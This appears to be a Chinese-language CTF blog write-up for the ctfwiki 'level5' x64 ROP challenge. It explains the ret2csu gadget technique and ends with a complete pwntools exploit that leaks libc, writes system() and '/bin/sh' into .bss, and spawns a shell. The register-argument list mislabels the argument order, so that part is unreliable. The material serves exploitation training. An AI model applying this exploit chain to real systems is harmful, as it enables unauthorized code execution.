ctfwiki中级ROP level5详解

emm第一篇自己写的详解 题目跟这儿下载

参考文章 一步一步学ROP之linux_x64篇 五

写的大概是傻瓜教程了吧,因为自己就是傻瓜

checksec

ctfwiki中级ROP level5详解_第1张图片

ida打开文件,f5反编译,双击main函数,观察,发现啥也没有,只有可怜的vulnerable_function函数。


ctfwiki中级ROP level5详解_第2张图片
ctfwiki中级ROP level5详解_第3张图片

分析一下,为了getshell我们要想办法输入命令system(“\bin\sh”),可以把这些命令写到bss段,然后想办法运行命令。

首先需要知道

-偏移 offset=function1真实地址-function1libc在库地址=function2真实地址-function2在libc库地址

-通过查找函数真实地址后三位可以查到所用的libc库和其他函数在库中地址

-而函数真实地址只有在被调用后才会得到

目前可用信息有自带的write函数和read函数,可以将信息写入外存和读入内存。调用函数需要知道函数真实地址,这就需要write函数将某个函数(我用了write函数)真实地址写入外存,然后查libc库得到其他函数libc库中的地址。

在x64下有一些万能的gadgets可以利用,比如_libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

右键,选择copy to assembly,然后按空格噻,得到一些整整齐齐的段名称和地址,查看_libc_csu_init()。


ctfwiki中级ROP level5详解_第4张图片

利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,利用0x4005f0处的代码将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8],这时候将rbx赋值0,可以将想调用的函数地址传给r12。执行完函数之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1。

rbx  0

rbp  1

r12  想调用的函数地址

r13 ->edi 函数第三个参数 

r14 ->rsi 函数第二个参数

r15 ->rdx 函数第一个参数

payload1,利用write()输出write在内存中的地址。gadget是call qword ptr [r12+rbx*8],所以应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。


这里要说一下第一个p64(0)是将栈占了8位空间,因为将鼠标挪到下图红圈位置,显示从0038到0030需要一些东西也就是pop_junk


ctfwiki中级ROP level5详解_第5张图片

exp在收到write()在内存中的地址


利用真实地址后三位查库libc库


ctfwiki中级ROP level5详解_第6张图片

可以计算出system()在内存中的地址

ctfwiki中级ROP level5详解_第7张图片

构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中


最后构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。


出题人说: 要注意的是,当我们把程序的io重定向到socket上的时候,根据网络协议,因为发送的数据包过大,read()有时会截断payload,造成payload传输不完整造成攻击失败。这时候要多试几次即可成功。如果进行远程攻击的话,需要保证ping值足够小才行(局域网)。

反正我就需要试几次才能getshell,反正自己搞出来代码贼开心。文章用的exp为了美观我就改了改原出题人给的exp。

最终exp:()

from pwn import *

elf = ELF('level5')

p = process('./level5')

write_got = elf.got['write']

print "write_got: " + hex(write_got)

read_got = elf.got['read']

print "read_got: " + hex(read_got)

main_addr = 0x400564

bss_addr = 0x601028

payload1 =  "\x00"*136

payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload1 += p64(0x4005F0)

payload1 += "a"*56

payload1 += p64(main_addr)

p.recvuntil("Hello, World\n")

print "\n#############sending payload1#############\n"

p.send(payload1)

sleep(1)

write_addr = u64(p.recv(8))

print "write_addr: " + hex(write_addr)

write_libc = 0x0f72b0

read_libc = 0x0f7250

system_libc = 0x045390

binsh_addr = 0x18cd57

offset = write_addr - write_libc

print "offset: " + hex(offset)

system_addr = offset + system_libc

print "system_addr: " + hex(system_addr)

p.recvuntil("Hello, World\n")

payload2 =  "a"*136

payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_addr) + p64(16)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload2 += p64(0x4005F0)

payload2 += "a"*56

payload2 += p64(main_addr)

print "\n#############sending payload2#############\n"

p.send(payload2)

sleep(1)

p.send(p64(system_addr))

p.send("/bin/sh\00")

sleep(1)

p.recvuntil("Hello, World\n")

payload3 =  "\x00"*136

payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)

# pop_junk_rbx_rbp_r12_r13_r14_r15_ret

payload3 += p64(0x4005F0)

payload3 += "\x00"*56

payload3 += p64(main_addr)

print "\n#############sending payload3#############\n"

sleep(1)

p.send(payload3)

p.interactive()

运行结果:

ctfwiki中级ROP level5详解_第8张图片

你可能感兴趣的:(ctfwiki中级ROP level5详解)